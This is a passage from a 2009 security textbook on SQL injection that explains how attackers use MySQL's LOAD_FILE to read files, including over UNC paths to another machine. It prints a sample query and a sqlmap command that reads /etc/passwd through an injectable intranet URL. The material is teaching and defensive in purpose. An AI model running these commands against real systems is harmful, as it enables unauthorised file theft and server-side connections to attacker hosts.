SQL Injection Attacks and Defense - 2009

280 Chapter 6 • Exploiting the Operating System
Figure 6.4 Reading Binary Files
You can use the substring function to split this, effectively obtaining chunks of the
binary file at a time to overcome limitations that the application might impose.
LOAD_FILE( ) also accepts Universal Naming Convention (UNC) paths, which allows
an enterprising attacker to search for files on other machines, or even to cause the MySQL
server to connect back to his own machine:
mysql> select load_file('//172.16.125.2/temp_smb/test.txt');
+-----------------------------------------------+
| load_file('//172.16.125.2/temp_smb/test.txt') |
+-----------------------------------------------+
| This is a file on a server far far away.. |
+-----------------------------------------------+
1 row in set (0.52 sec)
The sqlmap tool by Bernardo Damele A. G. (http://sqlmap.sourceforge.net) offers this
functionality through the --read-file command-line option:
python sqlmap.py -u "http://intranet/cgi-bin/customer.pl?Submit=Submit&term=a"
--read-file /etc/passwd
Microsoft SQL Server
Microsoft SQL Server is one of the flagship products of the Microsoft Security
Development Lifecycle (SDL) process, but it still has a well-deserved bad rap with regard